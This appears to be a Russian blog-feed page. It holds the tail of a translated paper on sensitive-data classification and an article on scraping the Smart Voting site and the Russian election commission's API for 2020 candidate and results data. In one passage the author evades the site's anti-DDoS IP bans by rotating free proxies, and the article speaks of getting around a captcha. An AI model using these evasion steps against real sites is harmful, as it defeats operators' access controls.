Важность признака для каждого класса позволяет сделать модель интерпретируемой, чтобы мы могли видеть, на что модель обращает внимание при прогнозировании метки. Например, когда мы анализируем ADDR, то гарантируем, что связанный с адресом признак, такой как AddressLinesCount, занимает высокое место в таблице важности признаков для каждого класса, чтобы наша человеческая интуиция хорошо согласовывалась с тем, что изучила модель.

Оценка


Важно определить единую метрику успеха. Мы выбрали F2 баланс между отзывом и точностью (смещение отзыва немного больше). Отзыв важнее для случая использования конфиденциальности, чем точность, потому что для команды крайне важно не пропустить никаких конфиденциальных данных (обеспечивая при этом разумную точность). Фактические данные оценки производительности F2 нашей модели выходят за рамки данной статьи. Тем не менее, при тщательной настройке мы можем достичь высокого (0,9+) балла F2 для наиболее важных чувствительных классов.

Связанная работа


Существует множество алгоритмов автоматической классификации неструктурированных документов с использованием различных методов, таких как сопоставление шаблонов, поиск сходства документов и различные методы машинного обучения (байесовские, деревья решений, k-ближайших соседей и многие другие) [6]. Любой из них может использоваться как часть классификации. Однако проблема в масштабируемости. Подход к классификации в этой статье смещен в сторону гибкости и производительности. Это позволяет нам поддерживать новые классы в будущем и поддерживать низкую задержку.

Существует также масса работ по снятию отпечатков с данных. Например, авторы в [7] описали решение, которое фокусируется на проблеме улавливания утечек конфиденциальных данных. Основное предположение заключается в возможности отпечатка с данных, чтобы сопоставить его с набором известных конфиденциальных данных. Авторы в [8] описывают аналогичную проблему утечки конфиденциальности, но их решение основано на конкретной архитектуре Android и классифицируется только в том случае, когда действия пользователя привели к отправке личной информации или если в базовом приложении утечка пользовательских данных. Ситуация здесь несколько отличается, поскольку пользовательские данные также могут быть сильно неструктурированными. Поэтому нам нужна более сложная техника, чем снятие отпечатков.

Наконец, чтобы справиться с нехваткой данных для некоторых типов конфиденциальных данных, мы ввели синтетические данные. Существует большой объем литературы по аугментации данных, например, авторы в [9] исследовали роль инъекции шума во время обучения и наблюдали положительные результаты в контролируемом обучении. Наш подход к конфиденциальности отличается, потому что введение зашумленных данных может быть контрпродуктивным, и вместо этого мы фокусируемся на высококачественных синтетических данных.

Заключение


В этой статье мы представили систему, которая может классифицировать фрагмент данных. Это позволяет нам создавать системы обеспечения соблюдения политик конфиденциальности и безопасности. Мы показали, что масштабируемая инфраструктура, непрерывная интеграция, машинное обучение и высококачественные данные о достоверности данных играют ключевую роль в успехе многих наших инициатив в области конфиденциальности.

Есть много направлений будущей работы. Она может включать обеспечение поддержки несхематизированных данных (файлов), классификацию не только типа данных, но и уровня чувствительности, а также использование самоконтролируемого обучения непосредственно во время обучения путем генерации точных синтетических примеров. Которые, в свою очередь помогут модели уменьшить потери на наибольшую величину. Будущая работа может также сосредоточиться на рабочем процессе расследования, где мы выходим за рамки обнаружения и предоставляем анализ первопричин различных нарушений конфиденциальности. Это поможет в таких случаях, как анализ чувствительности (т.е. является ли чувствительность конфиденциальности типа данных высокой (например, IP пользователя) или низкой (например, внутренний IP Facebook)).

Библиография
  1. David Ben-David, Tamar Domany, and Abigail Tarem. Enterprise data classification using semantic web technolo- gies. In Peter F. Patel-Schneider, Yue Pan, Pascal Hitzler, Peter Mika, Lei Zhang, Jeff Z. Pan, Ian Horrocks, and Birte Glimm, editors, The Semantic Web ISWC 2010, pages 6681, Berlin, Heidelberg, 2010. Springer Berlin Heidelberg.
  2. Subramanian Muralidhar, Wyatt Lloyd, Sabyasachi Roy, Cory Hill, Ernest Lin, Weiwen Liu, Satadru Pan, Shiva Shankar, Viswanath Sivakumar, Linpeng Tang, and Sanjeev Kumar. f4: Facebooks warm BLOB storage system. In 11th USENIX Symposium on Operating Systems Design and Implementation (OSDI 14), pages 383398, Broomfield, CO, October 2014. USENIX Association.
  3. Tomas Mikolov, Ilya Sutskever, Kai Chen, Greg S Corrado, and Jeff Dean. Distributed representations of words and phrases and their compositionality. In C. J. C. Burges, L. Bottou, M. Welling, Z. Ghahramani, and K. Q. Weinberger, editors, Advances in Neural Information Processing Systems 26, pages 31113119. Curran Associates, Inc., 2013.
  4. Sergey Ioffe and Christian Szegedy. Batch normalization: Accelerating deep network training by reducing internal covariate shift. In Francis Bach and David Blei, editors, Proceedings of the 32nd International Conference on Machine Learning, volume 37 of Proceedings of Machine Learning Research, pages 448456, Lille, France, 0709 Jul 2015. PMLR.
  5. Leo Breiman. Random forests. Mach. Learn., 45(1):532, October 2001.
  6. Thair Nu Phyu. Survey of classification techniques in data mining.
  7. X. Shu, D. Yao, and E. Bertino. Privacy-preserving detection of sensitive data exposure. IEEE Transactions on Information Forensics and Security, 10(5):10921103, 2015.
  8. Zhemin Yang, Min Yang, Yuan Zhang, Guofei Gu, Peng Ning, and Xiaoyang Wang. Appintent: Analyzing sensitive data transmission in android for privacy leakage detection. pages 10431054, 11 2013.
  9. Qizhe Xie, Zihang Dai, Eduard H. Hovy, Minh-Thang Luong, and Quoc V. Le. Unsupervised data augmentation.

image

Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:



Подробнее..

Парсинг сайта Умного Голосования и новый API на сайте ЦИК

20.09.2020 20:22:28 | Автор: admin
image

13 сентября 2020 года в России прошёл единый день голосования. В некоторых регионах оппозицией была применена стратегия Умного Голосования, заключающаяся в том, что оппозиционно настроенные избиратели голосуют за единого кандидата, имеющего наивысшие шансы победить представителя от властей.

Процесс отбора кандидатов для Умного Голосования уже второй год вызывает дискуссии на тему своей прозрачности. Кроме того, лично меня смущают сложности с подведением итогов стратегии, с которыми могут столкнуться независимые аналитики. Организаторы УмГ не публикуют подробные итоги стратегии, а лишь диаграммы, демонстрирующие сколько оппозиционных кандидатов прошло в региональный парламент.

На сайте Умного Голосования нельзя получить список поддержанных кандидатов, указав, например, город и округ. Если кто-то захочет собрать данные по региону, ему предстоит монотонная работа по подбору адресов для каждого округа.

Ни в коем случае не упрекаю разработчиков сайта УмГ, он имеет весь требуемый функционал для реализации стратегии голосования. Но в связи с тем, что в 2019 году никто не занимался сбором и публикацией подробных данных по итогам УмГ (вне московских выборов), на этих выборах я решил взять инициативу в свои руки.

В итоге получилась вот такая сводная таблица. В данной статье я расскажу, как был получен приведённый набор данных, как собиралась информация с сайтов Умного Голосования и нового веб-сервиса ЦИК.

image


Сайт Умного Голосования



Для начала посмотрим, какие данные мы можем извлечь с сайта Умного Голосования. На главной странице сайта есть поле для ввода адреса регистрации пользователя. При вводе строки появляется список предложенных адресов в следующем формате:

image


При выборе одного из предложенных адресов, мы перемещаемся на страницу избирательного участка, к которому прикреплён выбранный адрес:

image


На странице перечислены выборные кампании, которые проходят на данном участке. Для каждой кампании приведён список кандидатов, за/против которых предлагают проголосовать:

image


В данном случае мы видим выборы губернатора, для которых УмГ не указало кандидата от оппозиции. Связанно это с тем, что выборы губернаторов проходят в два тура и не имеет значения, за кого из оппозиционных кандидатов проголосуют избиратели.
Также мы видим сразу трёх кандидатов, за которых предлагают проголосовать на выборах в городской парламент. Связанно это с тем, что на выборах в Сочи многомандатные округа.
На всех остальных выборных кампаниях, задействованных УмГ в этом году, были только одномандатные округа.

Заглянем в код страницы и обнаружим, что все описанные данные, собраны в удобном JSON-формате. В элементе с id="__NEXT_DATA__", который используется для отрисовки страницы, есть информация об избирательном участке, о соответствующих выборных кампаниях и кандидатах:

Содержимое __NEXT_DATA__ элемента
{   "props":{      "pageProps":{         "id":"440384",         "settings":{            "id":1,            "share_photo":"/ganimed-media/share_photo/smartvote_sharepic_1200x628.jpg",            "video_on_main_page":"https://youtu.be/w8gapDGwWMY",            "fake_mode":false,            "title_share":"Объединяемся, чтобы победить Единую Россию",            "text_share":"Мы разные, но у нас одна политика  мы против монополии Единой России. Всё остальное  математика.",            "telegram_bot_link":"https://tlinks.run/smartvotebot",            "viber_bot_link":"viber://public?id=smartvote",            "facebook_bot_link":"https://facebook.com/umnoegolosovanie/",            "alice_link":null,            "vk_bot_link":null         },         "serverData":{            "commission":{               "id":440384,               "number":"4317",               "address":"354340, Краснодарский край, город Сочи, Адлерский район, улица Богдана Хмельницкого, 24",               "descr":"здание средней школы  49 им. Н.И. Кондратенко",               "lat":"43.425923",               "lon":"39.920152",               "region_id":26,               "region_intid":"135637827259064320000372513"            },            "campaigns":[               {                  "id":26,                  "code":"krasnodar-gub-2020",                  "title":"Выборы губернатора Краснодарского края",                  "is_regional":true,                  "ready_date":null,                  "district":{                     "id":458,                     "code":"oik-0",                     "name":"0",                     "leaflet":""                  },                  "candidates":[                     {                        "id":998,                        "name":"Кондратьева Вениамина Ивановича",                        "share_image":"/elections-api-media/share/26/998.png",                        "anticandidate":true,                        "self_nominated":false,                        "has_won":false,                        "has_second_round":false,                        "party":{                           "title":"Единая Россия",                           "antiparty":true                        }                     }                  ]               },               {                  "id":28,                  "code":"krasnodar-sochi-gorduma-2020",                  "title":"Выборы в городское собрание Сочи",                  "is_regional":false,                  "ready_date":null,                  "district":{                     "id":526,                     "code":"oik-2",                     "name":"2",                     "leaflet":"/elections-api-media/28/526-1334-1335-5385.pdf"                  },                  "candidates":[                     {                        "id":1334,                        "name":"Киров Сабир Рафаилович",                        "share_image":"/elections-api-media/share/28/1334.png",                        "anticandidate":false,                        "self_nominated":true,                        "has_won":false,                        "has_second_round":false,                        "party":null                     },                     {                        "id":1335,                        "name":"Мукаелян Марине Айковна",                        "share_image":"/elections-api-media/share/28/1335.png",                        "anticandidate":false,                        "self_nominated":true,                        "has_won":false,                        "has_second_round":false,                        "party":null                     },                     {                        "id":5385,                        "name":"Рябцев Виктор Александрович",                        "share_image":"/elections-api-media/share/28/5385.png",                        "anticandidate":false,                        "self_nominated":false,                        "has_won":false,                        "has_second_round":false,                        "party":{                           "title":"КПРФ",                           "antiparty":false                        }                     }                  ]               }            ]         },         "error":null,         "currentUrl":"https://votesmart.appspot.com/candidates/440384"      }   },   "page":"/candidates/[id]",   "query":{      "id":"440384"   },   "buildId":"U8hjaoxZw8TINu-DU_Ixw",   "runtimeConfig":{      "HOST":"https://votesmart.appspot.com"   },   "isFallback":false,   "customServer":true,   "gip":true}



Для избирательного участка указан номер (number) соответствующей УИК и её идентификатор в базе данных сайта УмГ. Id = 440834 соответствует номеру, который содержится в URL-адресе страницы (/candidates/440834).

Можем ли мы, зная номер УИК и регион, вычислить идентификатор комиссии на сайте УмГ? Я не смог найти очевидную зависимость, так как идентификаторы распределены достаточно хаотично:
Сочи, УИК 4512 -> id = 440834
Сочи, УИК 4513 -> id = 441403
Сочи, УИК 4514 -> id = 1781216

Каким образом собрать список отражений номеров УИК в id страниц? Перебирать и проверять всевозможные идентификаторы от 1 до 2000000 звучит крайне неэффективно, большинство из этих идентификаторов нерабочие.

Но, если у нас есть список адресов, мы можем относительно легко собрать список соответствующих избирательных участков. При вводе строки на начальном экране, с сервера возвращается перечень подходящих адресов вместе с соответствующими идентификаторами комиссий:

Поиск участка по адресу
https://votesmart.appspot.com/api/v1/cik/addresses?query=ADDRESS

  • ADDRESS адрес, желательно в формате Субъект, город, улица, дом. Также желательно без сокращений ул., д., так как парсер на сервере плохо с ними справляется

Пример запроса:
https://votesmart.appspot.com/api/v1/cik/addresses?query=Смоленск ленина

Результат запроса
{   "suggestions":[      {         "value":"Смоленская область, город Смоленск, Промышленный район, Ленина улица",         "data":{            "fullname":"Смоленская область, город Смоленск, Промышленный район, Ленина улица",            "level":"7",            "region_id":69,            "commission_id":null,            "intid":"138474570115456000000347353",            "path":"135637827259064320000359815,135637827259064320000359819,135637827259064320000359820,138474570115456000000347353",            "snippet":"Смоленская область, город <em>Смоленск</em>, Промышленный район, <em>Ленина</em> улица",            "score":118.84238         }      },      {         "value":"Смоленская область, город Смоленск, Ленинский район, Ленина улица, 12А",         "data":{            "fullname":"Смоленская область, город Смоленск, Ленинский район, Ленина улица, 12А",            "level":"8",            "region_id":69,            "commission_id":1124357,            "intid":"135659820348349440000359937",            "path":"135637827259064320000359815,135637827259064320000359819,135637827259064320000359822,135659820348349440000359708,135659820348349440000359937",            "snippet":"Смоленская область, город <em>Смоленск</em>, Ленинский район, <em>Ленина</em> улица, 12А",            "score":115.14931         }      },...   ]}



Где взять список адресов для извлечения данных с сайта? Перебор базы данных всех адресов страны кажется неэффективным решением, ведь для решения нашей задачи нужен лишь один адрес на избирательный округ.

На каждый избирательный округ приходится в среднем от 2 до 8 участков. Даже не смотря на то, что адрес избирательного участка, в редких случаях, может не соответствовать округу к которому он принадлежит, я выдвинул следующую гипотезу: перебрав адреса УИК на сайте УмГ, можно собрать информацию о каждом округе.

В дальнейшем, при помощи данной гипотезы мне удалось собралось информацию почти по всем избирательным округам. Из-за неоднородности формата адресов в базе данных избирательных комиссий, лишь адреса 10 округов из 1100 мне пришлось подбирать вручную.

В интернете можно найти регулярно обновляющуюся базу данных избирательных комиссий РФ, содержащую информацию об адресах и даже составах УИК. Но для большей актуальности и надежности данных (а также по причине того, что меня не устраивал формат определенного поля) я решил собрать список адресов сам, ведь, как оказалось, на сайте ЦИК имеется весь нужный для этого функционал.

Новый веб-сервиса ЦИК. Методы API


ГАС Выборы автоматизированная система, разработанная в 1995 году, предназначенная для подготовки и проведения выборов и референдумов в РФ.

Если вы когда-либо интересовались ходом выборной кампании, то наверняка сталкивались с данным сайтом, на котором публикуется основная информация из системы ГАС Выборы, в том числе ход подсчёта голосов, ещё до утверждения результатов выборов:

image

И если раньше для извлечения результатов выборов датамайнеры пользовались этим сайтом, в дни проведения Голосования по поправкам в Конституцию на сайте внезапно появилась капча. Капча очень настойчивая, появляется при переходе на каждую страницу сайта:

image


Как вы сами можете визуально оценить, капча конечно очень простая, и наверняка кто-то уже нашел способы её обходить. Я же, вместо того чтобы заняться машинным обучением, обратился к новому разделу на сайте ЦИК, о котором пока мало кто знает: Цифровые сервисы

image

Данный раздел появился как раз во время Голосования по поправкам и содержит в себе несколько веб-сервисов, которые через POST-запросы общаются с внутренним API для получения данных из системы ГАС Выборы. Пользователь Хабра уже обратил внимание на данный функционал. Рассмотрим же его подробнее.

Далее приведено описание основных запросов нового API, которые использовались в данном проекте:

Каждая структура данных в системе содержит ключ VRN уникальный идентификатор объекта, будь то участок, кампания, округ или кандидат.


Информация об УИК
http://cikrf.ru/iservices/voter-services/committee/subjcode/SUBJECT_CODE/num/COMMITTEE_NUM


Пример запроса:
http://cikrf.ru/iservices/voter-services/committee/subjcode/01/num/2

Результат запроса
{   "vrn":"4014001117979",   "name":"Участковая избирательная комиссия 2",   "subjCode":"01",   "numKsa":"01T001",   "vid":"5",   "address":{      "address":"385200, Республика Адыгея, городской округ Адыгейск, город Адыгейск, проспект имени В.И.Ленина, 16",      "descr":"здание МБОУ СОШ1",      "phone":"8-87772-9-23-72",      "lat":"44.882893",      "lon":"39.187187"   },   "votingAddress":{      "address":"385200, Республика Адыгея, городской округ Адыгейск, город Адыгейск, проспект имени В.И.Ленина, 16",      "descr":"здание МБОУ СОШ1",      "phone":"8-87772-9-23-72",      "lat":"44.882893",      "lon":"39.187187"   }}




Информация о выборных кампаниях на участке
http://cikrf.ru/iservices/voter-services/vibory/committee/COMMITTEE_VRN

  • COMMITTEE_VRN идентификатор УИК

Пример запроса:
http://cikrf.ru/iservices/voter-services/vibory/committee/4544028162533

Результат запроса
[   {      "vrn":"100100163596966",      "date":"2020-07-01",      "name":"Общероссийское голосование по вопросу одобрения изменений в Конституцию Российской Федерации",      "subjCode":"0",      "pronetvd":null,      "vidvibref":"0"   },   {      "vrn":"25420001876696",      "date":"2020-09-13",      "name":"Выборы депутатов Законодательного Собрания Новосибирской области седьмого созыва",      "subjCode":"54",      "pronetvd":"0",      "vidvibref":"2"   },   {      "vrn":"4544220183446",      "date":"2020-09-13",      "name":"Выборы депутатов Совета депутатов города Новосибирска седьмого созыва ",      "subjCode":"54",      "pronetvd":null,      "vidvibref":"2"   }]




Перечень округов выборной кампании
http://cikrf.ru/iservices/sgo-visual-rest/vibory/CAMPAIGN_VRN/tvd

  • CAMPAIGN_VRN идентификатор выборной кампании

Пример запроса:
http://cikrf.ru/iservices/sgo-visual-rest/vibory/457422069597/tvd

Результат запроса
{   "_embedded":{      "tvdDtoList":[         {            "vrn":457422069601,            "namtvd":"Муниципальная избирательная комиссия города Орла",            "namik":"Муниципальная избирательная комиссия города Орла",            "numtvd":"0",            "vidtvd":"ROOT",            "_links":{               "results":{                  "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/457422069597/results/457422069601/proportion"               }            }         },         {            "vrn":457422069602,            "namik":"Окружная избирательная комиссия  1",            "numtvd":"1",            "vidtvd":"OIK",            "_links":{               "results":{                  "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/457422069597/results/457422069602/major"               }            }         },         ...      ]   },   "_links":{      "self":{         "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/457422069597/tvd"      }   }}


NUMTVD номер округа. Нулевой номер обычно отвечает за результаты по единому округу. Например, если проходят выборы по смешанной системе, нулевой избирательный округ отвечает за голосование по пропорциональной системе. Остальные округа одномандатные, либо многомандатные.

Как видите, структура данных содержит и ссылку, по которой можно будет узнать результаты выборов. Ссылка генерируется ещё до публикации итогов голосования.



Список кандидатов, участвующих в выборной кампании
http://cikrf.ru/iservices/sgo-visual-rest/vibory/CAMPAIGN_VRN/candidates/?page=PAGE_NUM&numokr=NUMTVD

  • CAMPAIGN_VRN идентификатор выборной кампании
  • PAGE_NUM номер страницы списка
  • NUMTVD номер округа (необязательный параметр)

Пример запроса:
http://cikrf.ru/iservices/sgo-visual-rest/vibory/4674220125616/candidates/?page=1&numokr=11

Результат запроса
{   "_embedded":{      "candidateDtoList":[         ...         {            "index":50,            "vrn":4674020270868,            "fio":"Трофименко Владимир Карпович",            "datroj":"23.04.1964 00:00:00",            "vidvig":"выдвинут",            "registr":"зарегистрирован",            "vrnio":4674220132098,            "namio":"Региональное отделение Политической партии \"Российская партия пенсионеров за социальную справедливость\" в Смоленской области",            "numokr":11,            "tekstat2":"1",            "_links":{               "self":{                  "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/4674220125616/candidates/4674020270868"               }            }         },         {            "index":56,            "vrn":4674020269642,            "fio":"Божедомов Евгений Эдуардович",            "datroj":"15.02.1986 00:00:00",            "vidvig":"выдвинут",            "registr":"отказ в регистрации",            "namio":"Самовыдвижение",            "numokr":11,            "tekstat2":"1",            "_links":{               "self":{                  "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/4674220125616/candidates/4674020269642"               }            }         },         {            "index":105,            "vrn":4674020271181,            "fio":"Трифоненко Владислав Андреевич",            "datroj":"15.07.1994 00:00:00",            "vidvig":"выдвинут",            "registr":"зарегистрирован",            "vrnio":4674220134054,            "namio":"Смоленское городское отделение политической партии \"КОММУНИСТИЧЕСКАЯ ПАРТИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ\"",            "numokr":11,            "tekstat2":"1",            "_links":{               "self":{                  "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/4674220125616/candidates/4674020271181"               }            }         },         ...               ]   },   "_links":{      "self":{         "href":"http://cikrf.ru/iservices/sgo-visual-rest/vibory/4674220125616/candidates?page=1&numokr=11"      }   },   "page":{      "size":20,      "totalElements":9,      "totalPages":1,      "number":1   }}


Структура page содержит общее количество страниц, по ней можно определить когда вы достигните последней страницы (либо по пустому списку, вернувшемуся с сервера).



API содержит и другие методы, в основном чтобы узнать дополнительную информацию о выборах/кандидатах. Если понадобится, вы легко можете отследить нужные запросы. А теперь, можно приступить к выгрузке данных.

Выгрузка данных с сайта ЦИК


Прежде чем приступить к скачиванию нужных данных, нужно было составить список выборных кампаний, которые мы задействуем в проекте. Дело в том, что Умное Голосование проходило не везде, а именно на выборах:
в законодательные собрания регионов,
в городские советы региональных центров,
в городские советы крупных городов (с населением больше 200 тысяч человек)
(А также довыборы в Госдуму по 4 округам).
// Леонид Волков

Довыборы в Госдуму я решил проигнорировать, из-за незначительности этих данных. Составить перечень выборов в местные советы помогла статья в Википедии о дне голосования, ведь в ней как раз были перечислены выборы в крупных городах.

Обратившись к товарищу, я попросил его вручную составить список URL-адресов для соответствующих выборных кампаний, взяв их с главной страницы классической системы ЦИК. Дело в том, что в URL-адресе содержится идентификаторы региона и кампании, которые как раз понадобятся нам для дальнейшего парсинга.

vybory.izbirkom.ru/region/izbirkom?action=show&vrn=21120001136916&
region=11&prver=1&pronetvd=1


В итоге, список состоял из 43 выборных кампаний. Всего в Единый день голосования прошло более 9000 отдельных выборных кампаний в органы разного уровня.

Теперь, имея на руках список выборов и перечисленные ранее методы API, скачать данные не составило никакого труда. Написав скрипт на python, делая обычные запросы про помощи requests модуля, я сохранил данные о кандидатах и избирательных участках в исходном JSON-формате.

Главное, что стоит учесть при скачивании информации об избирательных участках: недостаточно перебирать всевозможные номера начиная с 1, до тех пор пока сервер не вернет пустое значение. Дело в том, что нумерация УИК в регионе может прерываться, и идти, например, в таком виде:
...1001 1016, 1101 1136, 1138 ...
либо:
0 700, 900 1002, 1004...
Чтобы определить максимальный номер УИК в регионе и не делать лишние запросы, я собирал данные следующим образом: пробовал выгрузить данные по первым 1000 номерам, а затем проверял если i+1,i+5,i+100,i+500,i+1000 номера соответствуют какому-либо УИКу (в случае чего продолжал скачивание).

Также, рекомендую сохранять номер УИК, по которому вы скачали данные об участке. Дело в том, что возвращаемые данные не содержат номер УИК, а только название в виде: Участковая Избирательная Комиссия 100. Процесс получения исходного номера УИК, с которым мне позже пришлось столкнуться, привёл к кратковременным багам и фрустрации. Как оказалось, нумерация в названии УИК в некоторых регионах имеет разный формат.

К примеру, в Удмуртии в названии УИК была следующая нумерация: 1/01, 1/02, 1/03, в Липецкой области: 01-01, 01-02, 01-03. В Оренбургской области я столкнулся с настоящей экзотикой: это был единственный регион, где ряд избирательных комиссий были названы в честь кого-то. Например Участковая избирательная комиссия 1696 имени Братьев Пустовитовых

Выгрузка данных с сайта Умного Голосования


Теперь, по каждому собранному адресу УИК мы собираемся скачать данные о голосовании с сайта УмГ. Перед этим стоит учесть несколько особенностей (о которых я узнал уже в процессе):

Во первых, надо учесть что адреса в базе данных ЦИК имеют различный формат, порой даже в отдельных областях регионов. Мне пришлось убирать сокращения д., г. и ул., так как сайт Умного Голосования совсем не справлялся с поиском адресов по таким запросам. Ещё рекомендую убирать почтовый индекс из адреса, а также, встречающийся иногда префикс Российская Федерация.

Во вторых, сайт УмГ имеет жёсткую защиту от DDoS атак, и даже если вы сделаете сотню запросов с интервалом в 0.3 секунды ваш IP получит бан. Можно было бы использовать набор из платных прокси, но лично я просто воспользовался бесплатными прокси и чередовал запросы со своего и стороннего IP. Чтоб уж точно не получить бан, между запросами был интервал примерно в 0.7 секунд. В итоге, скачивание всех данных заняло примерно сутки.

С использованием запросов из первой главы, алгоритм получился следующим:
  1. Форматируем адрес УИК
  2. Делаем запрос на список подходящих адресов
  3. Получаем список, содержащий идентификаторы страниц сайта
  4. Проверяем если уже скачали данные об участке по данному идентификатору
  5. Загружаем HTML-страницу сайта по данному идентификатором
  6. Извлекаем элемент __NEXT_DATA__ и сохраняем данные в JSON-формате


Парсинг страницы происходил при помощи библиотеки beautifulsoup4.

Данный процесс не безупречен: обычно скрипт не находит на сайте десяток избирательных участков в регионе, либо по адресу одного УИК вы находите информацию о совершенно другом УИК.

Это не беда, ведь для каждого округа, нам достаточно найти хоть одну соответствующую страницу на сайте.

Для валидации полноты данных мы пишем простой скрипт, который проверяет если в скачанном с сайта УмГ набора данных содержится информация о каждом избирательном округе. Если чего-то не хватает пополняем набор вручную. Опять же, таких исключительных ситуаций было менее 10 на 1100 округов.

Объединение данных с сайтов УмГ и ЦИК


На данном этапе, мы собираем удобную структуру данных, с информацией о каждом кандидате по округам: идентификатор кандидата, ФИО, партия, метка с информацией о том, подержан ли он УмГ.

Пример собранного набора данных о кандидатах
{    "33": [        {            "name": "Бекенева Любовь Александровна",            "vrn": 4444032121758,            "birthdate": "05.05.1958 00:00:00",            "party": "ЕР",            "smart_vote": 0        },        {            "name": "Крохичев Павел Александрович",            "vrn": 4444032122449,            "birthdate": "16.11.1977 00:00:00",            "party": "КПРФ",            "smart_vote": 0        },        {            "name": "Ростовцев Михаил Павлович",            "vrn": 4444032122782,            "birthdate": "27.02.1996 00:00:00",            "party": "ЛДПР",            "smart_vote": 0        },        {            "name": "Морозов Максим Сергеевич",            "vrn": 4444032123815,            "birthdate": "20.11.1991 00:00:00",            "party": "Яблоко",            "smart_vote": 1        },        {            "name": "Захарова Алина Сергеевна",            "vrn": 4444032124060,            "birthdate": "21.07.1996 00:00:00",            "party": "КПКР",            "smart_vote": 0        },        {            "name": "Афанасов Александр Николаевич",            "vrn": 4444032123597,            "birthdate": "21.05.1974 00:00:00",            "party": "СР",            "smart_vote": 0        }    ],    ...}



Алгоритм достаточно прямолинейный:
  1. По массиву данных с сайта УмГ создаем список поддержанных кандидатов для каждого округа
  2. По массиву данных с сайта ЦИК создаем отфильтрованный список допущенных кандидатов для каждого округа
  3. В каждом округе по ФИО вычисляем соответствие Кандидат-УмГКандидат-ЦИК

Конечно, такой простой алгоритм должен учесть множество потенциальных проблемных ситуаций.

Во первых, есть шанс что в одном округе будут кандидаты с полностью совпадающими ФИО. Благо, среди 5000 кандидатов, такая ситуация была лишь в одном случае, причём ни один из кандидатов не был поддержан УмГ.

Во вторых, надо учесть, что в базе данных сайта ЦИКа могут быть ошибки. Самая частая ошибка: переносы строк и лишние пробелы в ФИО. Также, при сборе данных об итогах голосования попадалась ситуация, при которых буква ё в фамилии заменялась на е.

В третьих, надо учитывать актуальность данных. Данные на сайте ЦИКа и УмГ изменялись и обновлялись вплоть до субботы: каких-то кандидатов снимали/восстанавливали, в каких-то округах менялась поддержка УмГ.
Для валидации списков УмГ был написан простой скрипт, который делает по одному запросу на округ (ведь собранный нами набор данных теперь позволяет однозначно определить страницу, посвященную каждому округу) и проверяет соответствуют ли имена тем, что мы получали ранее.

Интересной задачей была идентификация партий по названию их отделений. Данный пункт можно было бы пропустить, но я решил заняться этим для унификации информации. Проблема заключается в том, что у кандидатов от одной партии может различаться её название в базе ЦИК. Например, в случае КПРФ встречалось более 40 вариантов:

Ивановское городское (местное) отделение Политической партии "Коммунистическая партия Российской Федерации"
Ямало-Ненецкое ОО ПП "КПРФ"
ЧОО ПП КПРФ
КАЛУЖСКОЕ РЕГИОНАЛЬНОЕ ОТДЕЛЕНИЕ политической партии "КОММУНИСТИЧЕСКАЯ ПАРТИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ"
...


Ситуация превращается в интересную задачу по синтаксическому анализу, когда партий 25 штук и почти у каждой разное написание каждом регионе. Благо, про помощи моего товарища, который помогал мне со всей ручной работой, мы составили список ключевых слов, по которым однозначно определяется партия кандидата.

Выгрузка результатов выборов с сайта ЦИК


Собранного набора данных хватило для достижения первоначальной цели проекта мы составили списки кандидатов УМГ-2020 для каждого избирательного округа. Но если есть техническая возможность получить результаты выборов, почему бы не воспользоваться ею?


Результаты выборов в округе
http://cikrf.ru/iservices/sgo-visual-rest/vibory/CAMPAIGN_VRN/results/DISTRICT_VRN/major

  • CAMPAIGN_VRN идентификатор выборной кампании
  • DISTRICT_VRN идентификатор округа

Пример запроса:
http://cikrf.ru/iservices/sgo-visual-rest/vibory/457422069597/results/457422069602/major

Результат запроса
{   "report":{      "tvd":"",      "date_sign":"none",      "vrnvibref":"457422069597",      "line":[         {            "txt":"число избирателей на момент окончания голосования",            "kolza":"8488",            "index":"1"         },         {            "txt":"число бюллетеней, полученных участковой комиссией",            "kolza":"6700",            "index":"2"         },         ...         {            "txt":"число недействительных бюллетеней",            "kolza":"65",            "index":"9"         },         {            "txt":"число действительных бюллетеней",            "kolza":"1948",            "index":"10"         },         ...         {            "delimetr":"1"         },         {            "txt":"Авдеев Максим Юрьевич",            "numsved":"1",            "kolza":"112",            "index":"11",            "namio":"ПАРТИЯ ПЕНСИОНЕРОВ в Орловской области",            "perza":"5.56",            "numsvreestr":"4574030258379"         },         {            "txt":"Жуков Александр Александрович",            "numsved":"2",            "kolza":"186",            "index":"12",            "namio":"Орловское региональное отделение Партии СПРАВЕДЛИВАЯ РОССИЯ",            "perza":"9.24",            "numsvreestr":"4574030258723"         },         {            "txt":"Жуков Родион Вячеславович",            "numsved":"3",            "kolza":"54",            "index":"13",            "namio":"Самовыдвижение",            "perza":"2.68",            "numsvreestr":"4574030258555"         },         ...      ],      "data_gol":"13.09.2020 00:00:00",      "is_uik":"0",      "type":"423",      "version":"0",      "sgo_version":"5.6.0",      "isplann":"0",      "podpisano":"1",      "versions":{         "ver":{            "current":"true",            "content":"0"         }      },      "vibory":"Выборы депутатов Орловского городского Совета народных депутатов шестого созыва",      "repforms":"1",      "generation_time":"14.09.2020 07:59:21",      "nazv":"Результаты выборов по одномандатному (многомандатному) округу",      "datepodp":"14.09.2020 05:44:00"   }}


Как видите, результаты возвращаются в виде протокола областной комиссии. В каждом регионе различается формат протокола и количество вступительных строк в нём, поэтому надо проводить внимательную валидацию извлечённых вами данных.



Когда в ГАС Выборы начали публиковать предварительные результаты, я столкнулся с небольшим разочарованием. Оказалось, что через API можно получить данные только по тем результатам, которые официально утвердили. С предварительными результатами всё ещё можно ознакомиться на старом сайте избиркома, но нельзя через новые веб-сервисы.

Спустя сутки были известны результаты по 50%, а к концу недели были подведены итоги почти всех выборов, некоторые регионы всё ещё отказывались утверждать результаты. На момент написания статьи, прошло уже 7 дней, а результаты выборов в Тамбове всё ещё не утверждены. К тому же, в некоторых округах происходит пересчёт голосов, из-за чего эти результаты также недоступны через API.

Вывод: методы API на данный момент не подходят для оперативного получения результатов голосования. Вам либо придётся ждать более недели, когда же утвердят результаты, либо придётся парсить старый сайт избиркома, найдя способ обойти капчи.

